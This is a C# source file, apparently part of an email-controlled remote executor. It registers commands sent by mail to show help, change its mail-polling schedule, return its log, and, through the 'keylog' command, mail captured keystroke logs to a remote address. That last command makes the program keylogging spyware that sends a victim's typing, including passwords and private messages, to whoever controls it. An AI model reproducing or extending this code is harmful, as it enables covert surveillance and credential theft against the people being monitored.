﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using Commands.Logging;
using Commands.Scheduling;
using Commands.Settings;
using Commands.Commands;

namespace Commands
{
    class InternalCommands : CommandListBase
    {
        public InternalCommands(IMailer mailer)
        {
            _mailer = mailer;
        }

        /// <summary>
        /// Send commands help.
        /// </summary>
        [RemoteCommand("Send commands help.", "help", "h", "?")]
        public bool Help([MailAddressParameter] string mailAddress, MethodsManager manager)
        {
            string helpResult = string.Format("{0} version {1}", 
                Assembly.GetExecutingAssembly().GetName().Name,
                Assembly.GetExecutingAssembly().GetName().Version.ToString());

            helpResult += _GetCommandsHelp(manager.GetCommandsList().Keys);

            _mailer.SendMail(mailAddress, "Help", helpResult);
            return true;
        }

        /// <summary>
        /// Change executor schedule. All times is in minutes.
        /// </summary>
        /// <param name="checkInterval">new time interval before mail check</param>
        /// <param name="suspendEnabled"> if this parameter exist - suspending will be ON, otherwise it will be OFF</param>
        /// <param name="timeToSuspend">new time interval for suspending</param>
        /// <param name="schedule">Schedule to change.</param>
        [RemoteCommand("Change executor schedule. Time is in minutes.",
            "schedule", "changeSchedule")]
        public bool ChangeSchedule(
            [Parameter("New time interval before mail check.", typeof(double?), false,
                "c", "check", "checkInterval")]double? checkInterval,
            [Parameter("New time interval for suspending after unsuccessfull check.", typeof(double?), false,
            "s", "default", "timeToSuspendDefault")] double? timeToSuspend,
            [BoolParameter("suspending will be ON", "it will be OFF.", "suspend", "suspendEnabled")] bool suspendEnabled, ISchedule schedule)
        {
            if (checkInterval != null)
                schedule.CheckInterval = TimeSpan.FromMinutes(checkInterval.Value);

            if (timeToSuspend != null)
                schedule.TimeToSuspend = TimeSpan.FromMinutes(timeToSuspend.Value);

            schedule.SuspendEnabled = suspendEnabled;

            return true;
        }

        /// <summary>
        /// Send executor log.
        /// </summary>
        /// <param name="log">Log to send.</param>
        /// <param name="fullLog">If parameter exist - full log will be sended, otherwise will be send log converted to word.</param>
        [RemoteCommand("Send executor log.", "sendlog")]
        public bool SendLog([MailAddressParameter()] string mailAddress,
            [BoolParameter("full log will be sended", "only current task log", "full", "fullLog")] bool fullLog, Log log)
        {
            _mailer.SendMail(mailAddress, "Log", fullLog ? log.ToString() : log.GetLastTask().ToString());

            return true;
        }

        /// <summary>
        /// Send keylogger log.
        /// </summary>
        /// <param name="fullLog">If parameter exist - full log will be sended, otherwise will be send log converted to word.</param>
        [RemoteCommand("Send keylogger log.", "keylog", "log")]
        public bool SendKeyboardLog([MailAddressParameter()] string mailAddress,
            [BoolParameter("full log will be sended", "log from words will be sended", "full", "fullLog")] bool fullLog)
        {
            _mailer.SendMail(mailAddress, "KeyLog",
                fullLog ? KeyboardEventsLogger.GetFormattedFullLog() : KeyboardEventsLogger.GetFormattedWordsLog());

            return true;
        }

        #region Private memebers

        private string _GetCommandsHelp(IEnumerable<MethodInfo> methodsInfo)
        {
            string result = null;
            foreach (var method in methodsInfo)
            {
                result += Environment.NewLine + "Command:";
                var namesAttributes = method.GetCustomAttributes(typeof(RemoteCommand), false);
                foreach (RemoteCommand pseudoNameAttribute in namesAttributes)
                {
                    result += pseudoNameAttribute.ToString();
                }
                result = result.ReplaceLastOccurrence(",", ".");

                var parametersAttributes = ParameterAttribute.GetMetodParameters(method);
                foreach (var parameter in parametersAttributes)
                    result += parameter.ToString(TAB + TAB);
            }

            return result;
        }

        private IMailer _mailer;

        private const string TAB = "  ";

        #endregion
        
    }
}
